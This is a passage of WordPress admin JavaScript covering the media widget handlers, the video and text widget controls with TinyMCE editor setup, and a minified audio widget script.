		model: component.MediaWidgetModel
	}) )();

	/**
	 * Mapping of widget ID to instances of MediaWidgetControl subclasses.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var fieldContainer, syncContainer, widgetForm, idBase, ControlConstructor, ModelConstructor, modelAttributes, widgetControl, widgetModel, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
		idBase = widgetForm.find( '> .id_base' ).val();
		widgetId = widgetForm.find( '> .widget-id' ).val();

		// Prevent initializing already-added widgets.
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		ControlConstructor = component.controlConstructors[ idBase ];
		if ( ! ControlConstructor ) {
			return;
		}

		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;

		/*
		 * Create a container element for the widget control (Backbone.View).
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		/*
		 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
		 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
		 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
		 */
		modelAttributes = {};
		syncContainer.find( '.media-widget-instance-property' ).each( function() {
			var input = $( this );
			modelAttributes[ input.data( 'property' ) ] = input.val();
		});
		modelAttributes.widget_id = widgetId;

		widgetModel = new ModelConstructor( modelAttributes );

		widgetControl = new ControlConstructor({
			el: fieldContainer,
			syncContainer: syncContainer,
			model: widgetModel
		});

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the container's dimensions are fixed so that ME.js
		 * can initialize with the proper dimensions.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( 'open' ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.render();
			}
		};
		renderWhenAnimationDone();

		/*
		 * Note that the model and control currently won't ever get garbage-collected
		 * when a widget gets removed/deleted because there is no widget-removed event.
		 */
		component.modelCollection.add( [ widgetModel ] );
		component.widgetControls[ widgetModel.get( 'widget_id' ) ] = widgetControl;
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, widgetId, idBase, widgetControl, ControlConstructor, ModelConstructor, modelAttributes, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();

		ControlConstructor = component.controlConstructors[ idBase ];
		if ( ! ControlConstructor ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-control-actions > .widget-id' ).val();

		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		modelAttributes = {};
		syncContainer.find( '.media-widget-instance-property' ).each( function() {
			var input = $( this );
			modelAttributes[ input.data( 'property' ) ] = input.val();
		});
		modelAttributes.widget_id = widgetId;

		widgetControl = new ControlConstructor({
			el: fieldContainer,
			syncContainer: syncContainer,
			model: new ModelConstructor( modelAttributes )
		});

		component.modelCollection.add( [ widgetControl.model ] );
		component.widgetControls[ widgetControl.model.get( 'widget_id' ) ] = widgetControl;

		widgetControl.render();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetContent, widgetId, widgetControl, attributes = {};
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
		widgetId = widgetForm.find( '> .widget-id' ).val();

		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		// Make sure the server-sanitized values get synced back into the model.
		widgetContent = widgetForm.find( '> .widget-content' );
		widgetContent.find( '.media-widget-instance-property' ).each( function() {
			var property = $( this ).data( 'property' );
			attributes[ property ] = $( this ).val();
		});

		// Suspend syncing model back to inputs when syncing from inputs to model, preventing infinite loop.
		widgetControl.stopListening( widgetControl.model, 'change', widgetControl.syncModelToInputs );
		widgetControl.model.set( attributes );
		widgetControl.listenTo( widgetControl.model, 'change', widgetControl.syncModelToInputs );
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.mediaWidgets.init().
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			if ( document.readyState === 'complete' ) {
				// Page is fully loaded.
				component.setupAccessibleMode();
			} else {
				// Page is still loading.
				$( window ).on( 'load', function() {
					component.setupAccessibleMode();
				});
			}
		});
	};

	return component;
})( jQuery );
/**
 * @output wp-admin/js/widgets/media-video-widget.js
 */

/* eslint consistent-this: [ "error", "control" ] */
(function( component ) {
	'use strict';

	var VideoWidgetModel, VideoWidgetControl, VideoDetailsMediaFrame;

	/**
	 * Custom video details frame that removes the replace-video state.
	 *
	 * @class    wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame
	 * @augments wp.media.view.MediaFrame.VideoDetails
	 *
	 * @private
	 */
	VideoDetailsMediaFrame = wp.media.view.MediaFrame.VideoDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			this.states.add([
				new wp.media.controller.VideoDetails({
					media: this.media
				}),

				new wp.media.controller.MediaLibrary({
					type: 'video',
					id: 'add-video-source',
					title: wp.media.view.l10n.videoAddSourceTitle,
					toolbar: 'add-video-source',
					media: this.media,
					menu: false
				}),

				new wp.media.controller.MediaLibrary({
					type: 'text',
					id: 'add-track',
					title: wp.media.view.l10n.videoAddTrackTitle,
					toolbar: 'add-track',
					media: this.media,
					menu: 'video-details'
				})
			]);
		}
	});

	/**
	 * Video widget model.
	 *
	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.modelConstructors.media_video
	 * @augments wp.mediaWidgets.MediaWidgetModel
	 */
	VideoWidgetModel = component.MediaWidgetModel.extend({});

	/**
	 * Video widget control.
	 *
	 * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports.
	 *
	 * @class    wp.mediaWidgets.controlConstructors.media_video
	 * @augments wp.mediaWidgets.MediaWidgetControl
	 */
	VideoWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_video.prototype */{

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: false,

		/**
		 * Cache of oembed responses.
		 *
		 * @type {Object}
		 */
		oembedResponses: {},

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps;
			mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps );
			mediaFrameProps.link = 'embed';
			return mediaFrameProps;
		},

		/**
		 * Fetches embed data for external videos.
		 *
		 * @return {void}
		 */
		fetchEmbed: function fetchEmbed() {
			var control = this, url;
			url = control.model.get( 'url' );

			// If we already have a local cache of the embed response, return.
			if ( control.oembedResponses[ url ] ) {
				return;
			}

			// If there is an in-flight embed request, abort it.
			if ( control.fetchEmbedDfd && 'pending' === control.fetchEmbedDfd.state() ) {
				control.fetchEmbedDfd.abort();
			}

			control.fetchEmbedDfd = wp.apiRequest({
				url: wp.media.view.settings.oEmbedProxyUrl,
				data: {
					url: control.model.get( 'url' ),
					maxwidth: control.model.get( 'width' ),
					maxheight: control.model.get( 'height' ),
					discover: false
				},
				type: 'GET',
				dataType: 'json',
				context: control
			});

			control.fetchEmbedDfd.done( function( response ) {
				control.oembedResponses[ url ] = response;
				control.renderPreview();
			});

			control.fetchEmbedDfd.fail( function() {
				control.oembedResponses[ url ] = null;
			});
		},

		/**
		 * Whether a url is a supported external host.
		 *
		 * @deprecated since 4.9.
		 *
		 * @return {boolean} Whether url is a supported video host.
		 */
		isHostedVideo: function isHostedVideo() {
			return true;
		},

		/**
		 * Render preview.
		 *
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl, poster, html = '', isOEmbed = false, mime, error, urlParser, matches;
			attachmentId = control.model.get( 'attachment_id' );
			attachmentUrl = control.model.get( 'url' );
			error = control.model.get( 'error' );

			if ( ! attachmentId && ! attachmentUrl ) {
				return;
			}

			// Verify the selected attachment mime is supported.
			mime = control.selectedAttachment.get( 'mime' );
			if ( mime && attachmentId ) {
				if ( ! _.contains( _.values( wp.media.view.settings.embedMimes ), mime ) ) {
					error = 'unsupported_file_type';
				}
			} else if ( ! attachmentId ) {
				urlParser = document.createElement( 'a' );
				urlParser.href = attachmentUrl;
				matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
				if ( matches ) {
					if ( ! _.contains( _.keys( wp.media.view.settings.embedMimes ), matches[1] ) ) {
						error = 'unsupported_file_type';
					}
				} else {
					isOEmbed = true;
				}
			}

			if ( isOEmbed ) {
				control.fetchEmbed();
				if ( control.oembedResponses[ attachmentUrl ] ) {
					poster = control.oembedResponses[ attachmentUrl ].thumbnail_url;
					html = control.oembedResponses[ attachmentUrl ].html.replace( /\swidth="\d+"/, ' width="100%"' ).replace( /\sheight="\d+"/, '' );
				}
			}

			previewContainer = control.$el.find( '.media-widget-preview' );
			previewTemplate = wp.template( 'wp-media-widget-video-preview' );

			previewContainer.html( previewTemplate({
				model: {
					attachment_id: attachmentId,
					html: html,
					src: attachmentUrl,
					poster: poster
				},
				is_oembed: isOEmbed,
				error: error
			}));
			wp.mediaelement.initialize();
		},

		/**
		 * Open the media image-edit frame to modify the selected item.
		 *
		 * @return {void}
		 */
		editMedia: function editMedia() {
			var control = this, mediaFrame, metadata, updateCallback;

			metadata = control.mapModelToMediaFrameProps( control.model.toJSON() );

			// Set up the media frame.
			mediaFrame = new VideoDetailsMediaFrame({
				frame: 'video',
				state: 'video-details',
				metadata: metadata
			});
			wp.media.frame = mediaFrame;
			mediaFrame.$el.addClass( 'media-widget' );

			updateCallback = function( mediaFrameProps ) {

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				control.selectedAttachment.set( mediaFrameProps );

				control.model.set( _.extend(
					_.omit( control.model.defaults(), 'title' ),
					control.mapMediaToModelProps( mediaFrameProps ),
					{ error: false }
				) );
			};

			mediaFrame.state( 'video-details' ).on( 'update', updateCallback );
			mediaFrame.state( 'replace-video' ).on( 'replace', updateCallback );
			mediaFrame.on( 'close', function() {
				mediaFrame.detach();
			});

			mediaFrame.open();
		}
	});

	// Exports.
	component.controlConstructors.media_video = VideoWidgetControl;
	component.modelConstructors.media_video = VideoWidgetModel;

})( wp.mediaWidgets );
/**
 * @output wp-admin/js/widgets/text-widgets.js
 */

/* global tinymce, switchEditors */
/* eslint consistent-this: [ "error", "control" ] */

/**
 * @namespace wp.textWidgets
 */
wp.textWidgets = ( function( $ ) {
	'use strict';

	var component = {
		dismissedPointers: [],
		idBases: [ 'text' ]
	};

	component.TextWidgetControl = Backbone.View.extend(/** @lends wp.textWidgets.TextWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.textWidgets.TextWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;

			control.$el.addClass( 'text-widget-fields' );
			control.$el.html( wp.template( 'widget-text-control-fields' ) );

			control.customHtmlWidgetPointer = control.$el.find( '.wp-pointer.custom-html-widget-pointer' );
			if ( control.customHtmlWidgetPointer.length ) {
				control.customHtmlWidgetPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					$( '#' + control.fields.text.attr( 'id' ) + '-html' ).trigger( 'focus' );
					control.dismissPointers( [ 'text_widget_custom_html' ] );
				});
				control.customHtmlWidgetPointer.find( '.add-widget' ).on( 'click', function( event ) {
					event.preventDefault();
					control.customHtmlWidgetPointer.hide();
					control.openAvailableWidgetsPanel();
				});
			}

			control.pasteHtmlPointer = control.$el.find( '.wp-pointer.paste-html-pointer' );
			if ( control.pasteHtmlPointer.length ) {
				control.pasteHtmlPointer.find( '.close' ).on( 'click', function( event ) {
					event.preventDefault();
					control.pasteHtmlPointer.hide();
					control.editor.focus();
					control.dismissPointers( [ 'text_widget_custom_html', 'text_widget_paste_html' ] );
				});
			}

			control.fields = {
				title: control.$el.find( '.title' ),
				text: control.$el.find( '.text' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Dismiss pointers for Custom HTML widget.
		 *
		 * @since 4.8.1
		 *
		 * @param {Array} pointers Pointer IDs to dismiss.
		 * @return {void}
		 */
		dismissPointers: function dismissPointers( pointers ) {
			_.each( pointers, function( pointer ) {
				wp.ajax.post( 'dismiss-wp-pointer', {
					pointer: pointer
				});
				component.dismissedPointers.push( pointer );
			});
		},

		/**
		 * Open available widgets panel.
		 *
		 * @since 4.8.1
		 * @return {void}
		 */
		openAvailableWidgetsPanel: function openAvailableWidgetsPanel() {
			var sidebarControl;
			wp.customize.section.each( function( section ) {
				if ( section.extended( wp.customize.Widgets.SidebarSection ) && section.expanded() ) {
					sidebarControl = wp.customize.control( 'sidebars_widgets[' + section.params.sidebarId + ']' );
				}
			});
			if ( ! sidebarControl ) {
				return;
			}
			setTimeout( function() { // Timeout to prevent click event from causing panel to immediately collapse.
				wp.customize.Widgets.availableWidgetsPanel.open( sidebarControl );
				wp.customize.Widgets.availableWidgetsPanel.$search.val( 'HTML' ).trigger( 'keyup' );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			syncInput = control.syncContainer.find( '.sync-input.text' );
			if ( control.fields.text.is( ':visible' ) ) {
				if ( ! control.fields.text.is( document.activeElement ) ) {
					control.fields.text.val( syncInput.val() );
				}
			} else if ( control.editor && ! control.editorFocused && syncInput.val() !== control.fields.text.val() ) {
				control.editor.setContent( wp.oldEditor.autop( syncInput.val() ) );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, changeDebounceDelay = 1000, id, textarea, triggerChangeIfDirty, restoreTextMode = false, needsTextareaChangeTrigger = false, previousValue;
			textarea = control.fields.text;
			id = textarea.attr( 'id' );
			previousValue = textarea.val();

			/**
			 * Trigger change if dirty.
			 *
			 * @return {void}
			 */
			triggerChangeIfDirty = function() {
				var updateWidgetBuffer = 300; // See wp.customize.Widgets.WidgetControl._setupUpdateUI() which uses 250ms for updateWidgetDebounced.
				if ( control.editor.isDirty() ) {

					/*
					 * Account for race condition in customizer where user clicks Save & Publish while
					 * focus was just previously given to the editor. Since updates to the editor
					 * are debounced at 1 second and since widget input changes are only synced to
					 * settings after 250ms, the customizer needs to be put into the processing
					 * state during the time between the change event is triggered and updateWidget
					 * logic starts. Note that the debounced update-widget request should be able
					 * to be removed with the removal of the update-widget request entirely once
					 * widgets are able to mutate their own instance props directly in JS without
					 * having to make server round-trips to call the respective WP_Widget::update()
					 * callbacks. See <https://core.trac.wordpress.org/ticket/33507>.
					 */
					if ( wp.customize && wp.customize.state ) {
						wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() + 1 );
						_.delay( function() {
							wp.customize.state( 'processing' ).set( wp.customize.state( 'processing' ).get() - 1 );
						}, updateWidgetBuffer );
					}

					if ( ! control.editor.isHidden() ) {
						control.editor.save();
					}
				}

				// Trigger change on textarea when it has changed so the widget can enter a dirty state.
				if ( needsTextareaChangeTrigger && previousValue !== textarea.val() ) {
					textarea.trigger( 'change' );
					needsTextareaChangeTrigger = false;
					previousValue = textarea.val();
				}
			};

			// Just-in-time force-update the hidden input fields.
			control.syncContainer.closest( '.widget' ).find( '[name=savewidget]:first' ).on( 'click', function onClickSaveButton() {
				triggerChangeIfDirty();
			});

			/**
			 * Build (or re-build) the visual editor.
			 *
			 * @return {void}
			 */
			function buildEditor() {
				var editor, onInit, showPointerElement;

				// Abort building if the textarea is gone, likely due to the widget having been deleted entirely.
				if ( ! document.getElementById( id ) ) {
					return;
				}

				// The user has disabled TinyMCE.
				if ( typeof window.tinymce === 'undefined' ) {
					wp.oldEditor.initialize( id, {
						quicktags: true,
						mediaButtons: true
					});

					return;
				}

				// Destroy any existing editor so that it can be re-initialized after a widget-updated event.
				if ( tinymce.get( id ) ) {
					restoreTextMode = tinymce.get( id ).isHidden();
					wp.oldEditor.remove( id );
				}

				// Add or enable the `wpview` plugin.
				$( document ).one( 'wp-before-tinymce-init.text-widget-init', function( event, init ) {
					// If somebody has removed all plugins, they must have a good reason.
					// Keep it that way.
					if ( ! init.plugins ) {
						return;
					} else if ( ! /\bwpview\b/.test( init.plugins ) ) {
						init.plugins += ',wpview';
					}
				} );

				wp.oldEditor.initialize( id, {
					tinymce: {
						wpautop: true
					},
					quicktags: true,
					mediaButtons: true
				});

				/**
				 * Show a pointer, focus on dismiss, and speak the contents for a11y.
				 *
				 * @param {jQuery} pointerElement Pointer element.
				 * @return {void}
				 */
				showPointerElement = function( pointerElement ) {
					pointerElement.show();
					pointerElement.find( '.close' ).trigger( 'focus' );
					wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() {
						return $( this ).text();
					} ).get().join( '\n\n' ) );
				};

				editor = window.tinymce.get( id );
				if ( ! editor ) {
					throw new Error( 'Failed to initialize editor' );
				}
				onInit = function() {

					// When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built.
					$( editor.getWin() ).on( 'pagehide', function() {
						_.defer( buildEditor );
					});

					// If a prior mce instance was replaced, and it was in text mode, toggle to text mode.
					if ( restoreTextMode ) {
						switchEditors.go( id, 'html' );
					}

					// Show the pointer.
					$( '#' + id + '-html' ).on( 'click', function() {
						control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer.

						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) {
							return;
						}
						showPointerElement( control.customHtmlWidgetPointer );
					});

					// Hide the pointer when switching tabs.
					$( '#' + id + '-tmce' ).on( 'click', function() {
						control.customHtmlWidgetPointer.hide();
					});

					// Show pointer when pasting HTML.
					editor.on( 'pastepreprocess', function( event ) {
						var content = event.content;
						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /&lt;\w+.*?&gt;/.test( content ) ) {
							return;
						}

						// Show the pointer after a slight delay so the user sees what they pasted.
						_.delay( function() {
							showPointerElement( control.pasteHtmlPointer );
						}, 250 );
					});
				};

				if ( editor.initialized ) {
					onInit();
				} else {
					editor.on( 'init', onInit );
				}

				control.editorFocused = false;

				editor.on( 'focus', function onEditorFocus() {
					control.editorFocused = true;
				});
				editor.on( 'paste', function onEditorPaste() {
					editor.setDirty( true ); // Because pasting doesn't currently set the dirty state.
					triggerChangeIfDirty();
				});
				editor.on( 'NodeChange', function onNodeChange() {
					needsTextareaChangeTrigger = true;
				});
				editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) );
				editor.on( 'blur hide', function onEditorBlur() {
					control.editorFocused = false;
					triggerChangeIfDirty();
				});

				control.editor = editor;
			}

			buildEditor();
		}
	});

	/**
	 * Mapping of widget ID to instances of TextWidgetControl subclasses.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @type {Object.<string, wp.textWidgets.TextWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and an iframe can be embedded
		 * with TinyMCE being able to set contenteditable on it.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( 'open' ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			component.setupAccessibleMode();
		});
	};

	return component;
})( jQuery );
/*! This file is auto-generated */
!function(t){"use strict";var a=wp.media.view.MediaFrame.AudioDetails.extend({createStates:function(){this.states.add([new wp.media.controller.AudioDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"audio",id:"add-audio-source",title:wp.media.view.l10n.audioAddSourceTitle,toolbar:"add-audio-source",media:this.media,menu:!1})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},renderPreview:function(){var e,t=this,d=t.model.get("attachment_id"),a=t.model.get("url");(d||a)&&(d=t.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-audio-preview"),d.html(e({model:{attachment_id:t.model.get("attachment_id"),src:a},error:t.model.get("error")})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new a({frame:"audio",state:"audio-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(t.model.defaults(),t.mapMediaToModelProps(e),{error:!1}))},d.state("audio-details").on("update",e),d.state("replace-audio").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_audio=d,t.modelConstructors.media_audio=e}(wp.mediaWidgets);/*! This file is auto-generated */
